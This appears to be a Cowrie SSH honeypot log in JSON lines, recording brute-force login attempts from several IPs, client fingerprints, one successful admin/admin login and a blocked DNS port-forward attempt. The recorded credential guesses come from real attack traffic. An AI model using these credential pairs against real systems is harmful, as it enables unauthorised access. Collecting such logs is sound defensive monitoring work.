{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:51.059208Z","src_ip":"202.51.214.99","session":"5604c3a3cecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":52246,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed2b39b628b6","protocol":"ssh","message":"New connection: 103.118.29.129:52246 (10.17.0.5:22) [session: ed2b39b628b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:08.232788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:08.239049Z","src_ip":"103.118.29.129","session":"ed2b39b628b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:08.483403Z","src_ip":"103.118.29.129","session":"ed2b39b628b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa666666","message":"login attempt [root/Aa666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:09.495963Z","src_ip":"103.118.29.129","session":"ed2b39b628b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:10.743267Z","src_ip":"103.118.29.129","session":"ed2b39b628b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":11841,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dbb344bc8ed","protocol":"ssh","message":"New connection: 136.232.11.10:11841 (10.17.0.5:22) [session: 1dbb344bc8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:11.527014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:11.532661Z","src_ip":"136.232.11.10","session":"1dbb344bc8ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:11.775571Z","src_ip":"136.232.11.10","session":"1dbb344bc8ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webadmin","message":"login attempt [root/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:12.733620Z","src_ip":"136.232.11.10","session":"1dbb344bc8ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:13.977806Z","src_ip":"136.232.11.10","session":"1dbb344bc8ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":39608,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa15890f70f2","protocol":"ssh","message":"New connection: 45.137.172.116:39608 (10.17.0.5:22) [session: fa15890f70f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:16.177210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:16.182420Z","src_ip":"45.137.172.116","session":"fa15890f70f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:16.279274Z","src_ip":"45.137.172.116","session":"fa15890f70f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mm123123","message":"login attempt [root/Mm123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:16.697649Z","src_ip":"45.137.172.116","session":"fa15890f70f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61810,"dst_ip":"10.17.0.5","dst_port":22,"session":"784eb4240794","protocol":"ssh","message":"New connection: 87.251.64.176:61810 (10.17.0.5:22) [session: 784eb4240794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:17.657700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:17.662413Z","src_ip":"87.251.64.176","session":"784eb4240794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:17.760250Z","src_ip":"87.251.64.176","session":"784eb4240794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:17.796946Z","src_ip":"45.137.172.116","session":"fa15890f70f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:18.049563Z","src_ip":"87.251.64.176","session":"784eb4240794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:18.149081Z","session":"784eb4240794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:18.246517Z","src_ip":"87.251.64.176","session":"784eb4240794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:18.345646Z","src_ip":"87.251.64.176","session":"784eb4240794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":50962,"dst_ip":"159.203.135.109","dst_port":22,"session":"4605663a28da","protocol":"ssh","message":"New connection: 43.242.203.160:50962 (159.203.135.109:22) [session: 4605663a28da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:19.369652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:19.429300Z","src_ip":"43.242.203.160","session":"4605663a28da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:19.683125Z","src_ip":"43.242.203.160","session":"4605663a28da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bus365.com!@#","message":"login attempt [root/Bus365.com!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:20.810287Z","src_ip":"43.242.203.160","session":"4605663a28da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:22.088938Z","src_ip":"43.242.203.160","session":"4605663a28da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":57236,"dst_ip":"10.17.0.5","dst_port":22,"session":"593b1f17ed7d","protocol":"ssh","message":"New connection: 69.48.205.231:57236 (10.17.0.5:22) [session: 593b1f17ed7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:35.717188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:35.722142Z","src_ip":"69.48.205.231","session":"593b1f17ed7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:35.767033Z","src_ip":"69.48.205.231","session":"593b1f17ed7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:35.962470Z","src_ip":"69.48.205.231","session":"593b1f17ed7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:09:37.007617Z","src_ip":"69.48.205.231","session":"593b1f17ed7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":34584,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dc24a3e4f96","protocol":"ssh","message":"New connection: 43.242.203.160:34584 (159.203.135.109:22) [session: 2dc24a3e4f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:05.965141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:06.003009Z","src_ip":"43.242.203.160","session":"2dc24a3e4f96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:06.257956Z","src_ip":"43.242.203.160","session":"2dc24a3e4f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrateur","message":"login attempt [root/administrateur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:07.398116Z","src_ip":"43.242.203.160","session":"2dc24a3e4f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:08.698022Z","src_ip":"43.242.203.160","session":"2dc24a3e4f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":40800,"dst_ip":"10.17.0.5","dst_port":22,"session":"8273d53b41cb","protocol":"ssh","message":"New connection: 202.51.214.99:40800 (10.17.0.5:22) [session: 8273d53b41cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:15.633719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:15.639260Z","src_ip":"202.51.214.99","session":"8273d53b41cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:15.895240Z","src_ip":"202.51.214.99","session":"8273d53b41cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"counter","message":"login attempt [root/counter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:16.891420Z","src_ip":"202.51.214.99","session":"8273d53b41cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:18.138524Z","src_ip":"202.51.214.99","session":"8273d53b41cb","protocol":"ssh"}
